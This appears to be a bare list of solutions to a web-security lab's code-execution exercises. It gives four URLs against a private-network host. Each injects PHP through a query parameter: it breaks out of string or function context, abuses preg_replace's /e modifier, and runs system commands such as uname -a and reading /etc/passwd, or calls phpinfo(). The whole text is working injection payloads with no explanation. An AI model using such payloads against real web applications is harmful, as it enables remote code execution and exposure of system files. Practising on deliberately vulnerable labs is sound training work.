Example 1

 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');//

Example 2

 http://192.168.106.154/codeexec/example2.php?order=id);}system('more /etc/passwd');//

Example 3

 http://192.168.106.154/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

http://192.168.106.154/codeexec/example4.php?name=hacker'.phpinfo().'